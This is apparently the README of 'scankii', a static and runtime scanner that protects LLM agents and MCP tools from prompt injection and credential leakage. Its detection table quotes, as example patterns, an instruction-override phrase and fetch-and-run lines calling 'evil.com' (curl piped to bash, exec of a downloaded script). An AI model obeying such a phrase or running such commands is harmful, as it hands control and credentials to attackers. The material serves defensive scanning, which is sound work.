🛡️ scankii — The AI Agent Security Scanner
A fast, local-first SAST + Runtime security tool built exclusively to secure LLM Agents, AI Workflows, and MCP tools against prompt injection, cross-modal data leaks, and agentic credential exfiltration.
The only scanner that reads both your English instructions and your Python code — and now guards them at runtime too.
📑 Table of Contents
- What is scankii?
- Why This Matters
- Architecture
- Quickstart
- Installation & CLI
- Runtime Security Layer
- What scankii Detects
- False Positive Filter
- Remediation Advisor
- Comparison
- DevSecOps Integrations
- Contributing
❓ What is scankii?
When you build an AI Agent (using LangChain, AutoGen, CrewAI, Semantic Kernel, or MCP), you give it skills — a combination of Python code and natural language instructions (Markdown/Prompts).
Standard security scanners check code only. But what happens when your English instructions accidentally tell the agent to expose a secret? Or when an adversarial user injects a prompt that hijacks an agentic execution pipeline?
scankii solves this by reading both your natural language instructions and your Python code simultaneously, correlating them to find dangerous interactions that neither a regex scanner nor a code linter can see alone.
As of v1.3.0, scankii also provides a runtime security layer — scankii.runtime — that sandboxes agent tool calls and isolates process environments, moving protection from static detection to active prevention.
⚠️ Why This Matters: The Agentic Threat Model
In modern LLM agent architectures, agents operate autonomously across multiple tools and execution contexts. This creates unique threat surfaces:
| Threat Vector | Traditional Scanner | scankii |
|---|---|---|
Hardcoded secret in .py file |
✅ Catches it | ✅ Catches it |
| Prompt instructs agent to expose secret | ❌ Cannot see NL | ✅ Cross-modal detection |
| Agent tool-call leaks key in args | ❌ Runtime blind spot | ✅ @tool_guard intercepts |
| Agent subprocess inherits host secrets | ❌ No env awareness | ✅ EnvIsolator strips creds |
LLM-generated placeholder sk-xxxx |
❌ False positive | ✅ Entropy filter demotes |
| AI coding assistant auto-writes secrets | ❌ No generated-code context | ✅ Allowlist + entropy |
The key insight: API key leakage is no longer just a "developer mistake" problem — it's a systemic execution problem when AI agents write and run code automatically. scankii addresses all three stages: pre-commit, pre-execution, and runtime.
⚙️ Architecture
scankii runs a four-layer security pipeline:
┌─────────────────────────────────────────────────────────────────┐
│ scankii v1.3.0 Pipeline │
├──────────────────┬──────────────────────────────────────────────┤
│ 1. STATIC │ NL Semantic Analyzer → SKILL.md / prompts │
│ ANALYSIS │ AST Syntax Analyzer → Python / JS source │
│ │ Pattern Scanner → Credential regex │
├──────────────────┼──────────────────────────────────────────────┤
│ 2. CROSS-MODAL │ Correlates NL intents with code sinks │
│ CORRELATION │ Surfaces leaks invisible to either alone │
├──────────────────┼──────────────────────────────────────────────┤
│ 3. ENTROPY │ Shannon entropy filter removes LLM │
│ FILTER │ placeholders — eliminates false positives │
├──────────────────┼──────────────────────────────────────────────┤
│ 4. SCORING & │ 5-axis risk score → CRITICAL/HIGH/MEDIUM/ │
│ REPORTING │ LOW/DEFER. Terminal + JSON + SARIF output │
└──────────────────┴──────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ scankii.runtime — Active Defense │
├──────────────────┬──────────────────────────────────────────────┤
│ tool_guard │ Intercepts agent tool-calls; blocks/ │
│ │ redacts credentials before execution │
├──────────────────┼──────────────────────────────────────────────┤
│ EnvIsolator │ Strips credential env vars before agent │
│ │ subprocess spawn (strip / audit modes) │
├──────────────────┼──────────────────────────────────────────────┤
│ SafeLogger / │ Drop-in print() replacement that redacts │
│ safe_format_dict│ credentials from logs and tool-call args │
└──────────────────┴──────────────────────────────────────────────┘
🚀 Quickstart
pip install scankii
scankii scan ./my-agent-skill/ --explain
Sample output:
scankii scan: ./vulnerable-skill
┏━━━━━━━━┳━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━┳━━━━━━━━━━━━┓
┃ File ┃ Line ┃ Pattern ┃ Channel ┃ Severity ┃ Confidence ┃
┡━━━━━━━━╇━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━╇━━━━━━━━━━━━┩
│ run.py │ 7 │ Cross-Modal Leak │ stdout │ MEDIUM │ 82% │
│ run.py │ 8 │ Cross-Modal Leak │ network │ CRITICAL │ 96% │
└────────┴──────┴──────────────────────┴─────────┴──────────┴────────────┘
Total: 2 (CRITICAL: 1, MEDIUM: 1)
🔬 3 finding(s) demoted to DEFER by entropy filter (likely AI-generated placeholders)
╭─────────────── Remediation Hints — Secret Scoping ──────────────────╮
│ OpenAI (sk-...) │
│ 💡 Use: Project-scoped API keys with automatic rotation │
│ ↳ Create a project-scoped key in the OpenAI dashboard... │
│ 📖 https://platform.openai.com/docs/guides/safety-best-practices │
╰──────────────────────────────────────────────────────────────────────────╯
📦 Installation & CLI
Requirements: Python 3.10+
pip install scankii
CLI Reference
# Scan a directory (terminal output, default)
scankii scan ./my-agent/
# Show attack flow diagrams
scankii scan ./my-agent/ --explain
# Export JSON report
scankii scan ./my-agent/ --format json
# Export SARIF (for GitHub Code Scanning)
scankii scan ./my-agent/ --format sarif
# Write report to an explicit path
scankii scan ./my-agent/ --format json --output reports/scan-$(date +%Y%m%d).json
# Auto-fix resolvable findings (replaces print → safe_print)
scankii scan ./my-agent/ --resolve
# Control what severity blocks CI (default: MEDIUM)
scankii scan ./my-agent/ --severity-threshold HIGH
# Explain findings from a saved JSON report
scankii explain findings.json
--severity-threshold Explained
The --severity-threshold flag controls what severity level causes a non-zero exit code (blocking CI or pre-commit hooks). This lets different teams enforce different standards:
# Block only on CRITICAL — permissive
scankii scan . --severity-threshold CRITICAL
# Block on HIGH and above — balanced (recommended for most projects)
scankii scan . --severity-threshold HIGH
# Block on MEDIUM and above — strict (default)
scankii scan . --severity-threshold MEDIUM
🛡️ Runtime Security Layer (New in v1.3.0)
scankii.runtime provides drop-in components that defend agent workflows at execution time — after static analysis has already run. This closes the gap between "detect it at commit time" and "prevent it from happening at all."
@tool_guard — Agent Tool-Call Interceptor
Wraps any agent tool function and scans its arguments for credentials before the call executes:
from scankii.runtime import tool_guard, ToolGuard, ToolCallBlocked
# Decorator form
@tool_guard(policy="block")
def send_to_webhook(url: str, payload: dict) -> None:
requests.post(url, json=payload)
# Any call with a credential in args is blocked before network I/O
send_to_webhook("https://api.example.com", {"key": os.environ["OPENAI_API_KEY"]})
# → raises ToolCallBlocked("send_to_webhook: Credential pattern detected...")
# Context manager form — overrides decorator policy for a code block
with ToolGuard(policy="redact"):
agent.run_tool("email", body=f"Token: {token}")
# token is automatically redacted; call proceeds with sanitised args
Three policies:
| Policy | Behaviour |
|---|---|
block |
Raises ToolCallBlocked — call never executes |
redact |
Credential replaced with sk-[REDACTED] — call proceeds |
warn |
Logs a warning — call proceeds unchanged (safe for development) |
EnvIsolator — Subprocess Environment Sandboxing
Strips credential-like environment variables before spawning agent subprocesses:
from scankii.runtime import EnvIsolator
# Strip mode — actually removes creds from subprocess env
with EnvIsolator():
subprocess.run(["python", "agent.py"])
# AWS_SECRET_ACCESS_KEY, OPENAI_API_KEY, etc. are not inherited
# Audit mode — logs what would be stripped without changing anything
with EnvIsolator(policy="audit"):
subprocess.run(["python", "agent.py"])
# Custom allowlist — keep specific vars
with EnvIsolator(allowlist=["PATH", "HOME", "PYTHONPATH", "MY_SAFE_VAR"]):
subprocess.run(agent_command)
Variables stripped automatically include anything matching patterns for: API_KEY, TOKEN, SECRET, PASSWORD, AWS_*, OPENAI_*, GITHUB_TOKEN, JWT, CONNECTION_STRING, and more.
SafeLogger & safe_print
Drop-in replacements for print() and logging that redact credentials from output:
from scankii.runtime import safe_print, safe_format_dict, SafeLogger
# Drop-in print replacement
safe_print(f"Using key: {api_key}")
# → "Using key: sk-[REDACTED]"
# Sanitise dicts before logging (agent tool-call args are often dicts)
safe_headers = safe_format_dict({"Authorization": f"Bearer {token}"})
# → {"Authorization": "Bearer sk-[REDACTED]"}
# Structured logging with automatic redaction
logger = SafeLogger("my_agent")
logger.info("Calling API with key=%s", api_key)
# → "Calling API with key=sk-[REDACTED]"
🔍 What scankii Detects
scankii covers all OWASP Top 10 for LLM categories relevant to agentic systems:
| # | Pattern | Severity | Example |
|---|---|---|---|
| 1 | Hardcoded API Keys | CRITICAL | API_KEY = "sk-proj-..." |
| 2 | Credential → stdout | MEDIUM | print(f"key={api_key}") |
| 3 | Credential → network | CRITICAL | requests.post(url, data=token) |
| 4 | Cross-Modal Leak | HIGH–CRITICAL | Prompt says "pass api_key" + code prints it |
| 5 | Prompt Injection | HIGH | "Ignore previous instructions and..." |
| 6 | Social Engineering | MEDIUM | "Paste your API key here to continue" |
| 7 | Private Key Exposure | CRITICAL | -----BEGIN RSA PRIVATE KEY----- |
| 8 | Reverse Shell / RCE | CRITICAL | curl evil.com/x | bash |
| 9 | Nested Schema Poisoning | HIGH | Prompt injection in JSON schema (CVE-2026-25253) |
| 10 | MCP Supply-Chain | HIGH | Base64/Hex hidden payloads in tool descriptions |
| 11 | Dynamic Execution | HIGH | exec(requests.get("evil.com").text) |
| 12 | Authority Boundary | DEFER | Agentic financial transactions requiring a witness |
⏳ The DEFER Severity
Some patterns are structurally sound but require a runtime witness to confirm safety — for example, an agent initiating a financial transaction on behalf of a user. scankii marks these DEFER (shown in cyan) to signal: "This needs human review or a runtime mandate check."
🔬 False Positive Filter: Entropy Engine
AI coding assistants (Cursor, GitHub Copilot, Claude Code) routinely generate placeholder credentials: sk-xxxx, AKIAIOSFODNN7EXAMPLE, your-api-key-here. A naive scanner flags all of these, causing alert fatigue and killing adoption.
scankii v1.3.0 includes an entropy-based false positive filter:
- Shannon Entropy — Real secrets score ~4.5 bits/char. LLM placeholders score ~2.5 bits/char. Anything below the threshold is demoted to
DEFER. - Allowlist — 70+ regex patterns covering every placeholder format AI tools consistently generate (e.g.,
sk-xxxx,changeme,${MY_TOKEN},AKIAIOSFODNN7EXAMPLE,your_api_key_here).
Every finding now carries:
{
"confidence": 0.94,
"entropy_score": 4.37,
"is_likely_placeholder": false
}
The scan summary includes:
🔬 3 finding(s) demoted to DEFER by entropy filter (likely AI-generated placeholders)
💡 Remediation Advisor
After every scan, scankii automatically surfaces provider-specific advice for switching from long-lived secrets to short-lived, least-privilege alternatives:
| Detected | Provider | Recommended Alternative |
|---|---|---|
sk-... |
OpenAI | Project-scoped keys with rotation |
AKIA... |
AWS | STS AssumeRole (1-hour session tokens) |
ghp_... |
GitHub | GitHub Apps installation access tokens |
AIza... |
Workload Identity Federation | |
gsk_... |
Groq | Secrets manager injection |
xoxb-... |
Slack | OAuth 2.0 scoped tokens |
mongodb://... |
MongoDB | X.509 certificates |
postgres://... |
PostgreSQL | IAM auth / Vault dynamic credentials |
| RSA private key | PKI | SPIFFE/SPIRE ephemeral SVIDs |
The advisor skips placeholder findings — you only get hints for real detected secrets.
⚔️ scankii vs. GitLeaks / TruffleHog
| Feature | TruffleHog | GitLeaks | scankii |
|---|---|---|---|
| Regex secret scanning | ✅ | ✅ | ✅ |
| LLM prompt / NL analysis | ❌ | ❌ | ✅ |
| Cross-modal data leak detection | ❌ | ❌ | ✅ |
| AST variable sink tracking | ❌ | ❌ | ✅ |
| Attack flow visualisation | ❌ | ❌ | ✅ |
| Prompt injection detection | ❌ | ❌ | ✅ |
| Entropy-based false positive filter | ❌ | Partial | ✅ |
| Runtime tool-call interception | ❌ | ❌ | ✅ |
| Agent subprocess env sandboxing | ❌ | ❌ | ✅ |
| Provider-specific remediation hints | ❌ | ❌ | ✅ |
| SARIF output (GitHub Code Scanning) | ✅ | ✅ | ✅ |
| Local-first (no data leaves machine) | ✅ | ✅ | ✅ |
🔌 DevSecOps Integrations
GitHub Actions (CI/CD)
Block PRs containing vulnerable agent code. Upload results directly to GitHub Code Scanning:
name: AI Security Guard (scankii)
on: [push, pull_request]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: "3.11"
- name: Install scankii
run: pip install scankii==1.3.0
- name: Run scankii
run: |
scankii scan ./agent-skills/ \
--format sarif \
--output results.sarif \
--severity-threshold HIGH
- name: Upload to GitHub Code Scanning
uses: github/codeql-action/upload-sarif@v3
if: always()
with:
sarif_file: results.sarif
Pre-commit Hook
Stop developers from committing prompt injections or leaky agent skills locally. Threshold and output path are fully configurable via env vars:
# .pre-commit-config.yaml
repos:
- repo: https://github.com/ashp15205/scankii
rev: v1.3.0
hooks:
- id: scankii
# Configure via env vars in your shell profile:
export SCANKII_SEVERITY_THRESHOLD=HIGH # only block on HIGH+
export SCANKII_OUTPUT_PATH=.scankii.json # custom report path
Runtime Integration (Agent Frameworks)
Add scankii runtime guards to any LangChain / AutoGen / CrewAI tool:
from langchain.tools import tool
from scankii.runtime import tool_guard, EnvIsolator
@tool
@tool_guard(policy="block")
def search_codebase(query: str) -> str:
"""Search the codebase for relevant code."""
# If 'query' somehow contains a credential (e.g. via prompt injection),
# the call is blocked before it reaches your search backend.
return code_search.run(query)
# Spawn agent subprocesses safely
with EnvIsolator():
result = subprocess.run(["python", "agent_worker.py"], capture_output=True)
📁 Project Structure
scankii/
├── core/
│ ├── ast_analyzer.py # Tree-sitter AST analysis
│ ├── cross_modal.py # NL ↔ code correlation engine
│ ├── entropy.py # Shannon entropy + allowlist filter
│ ├── nl_analyzer.py # Markdown / prompt NL analysis
│ ├── patterns.py # Credential regex pattern bank
│ └── scorer.py # 5-axis risk scorer
├── output/
│ ├── cli_reporter.py # Rich terminal UI reporter
│ ├── explain.py # Attack flow visualiser
│ ├── json_reporter.py # JSON report writer
│ └── sarif.py # SARIF 2.1.0 reporter
├── rules/
│ ├── allowlist.yaml # LLM placeholder patterns
│ └── credentials.yaml # Credential detection rules
├── runtime/
│ ├── env_isolator.py # Agent subprocess env sandboxing
│ ├── safe_logger.py # Credential-redacting logger
│ └── tool_guard.py # Agent tool-call interceptor
├── scanner.py # Top-level scan orchestrator
├── cli.py # Click CLI entry point
└── remediation.py # Auto-fix + remediation advisor
🤝 Contributing & Support
- Fork the repository
- Create a feature branch:
git checkout -b feature/your-feature - Run the test suite:
pytest tests/ -v(178 tests, < 1 second) - Submit a pull request!
Academic Origins
The leakage taxonomy is grounded in empirical AI security research:
Chen et al., "How Your Credentials Are Leaked by LLM Agent Skills: An Empirical Study" (ASE 2026).
Support the Project
If scankii is useful for securing your AI agents, consider buying me a coffee! ☕️
No comments yet
Be the first to share your take.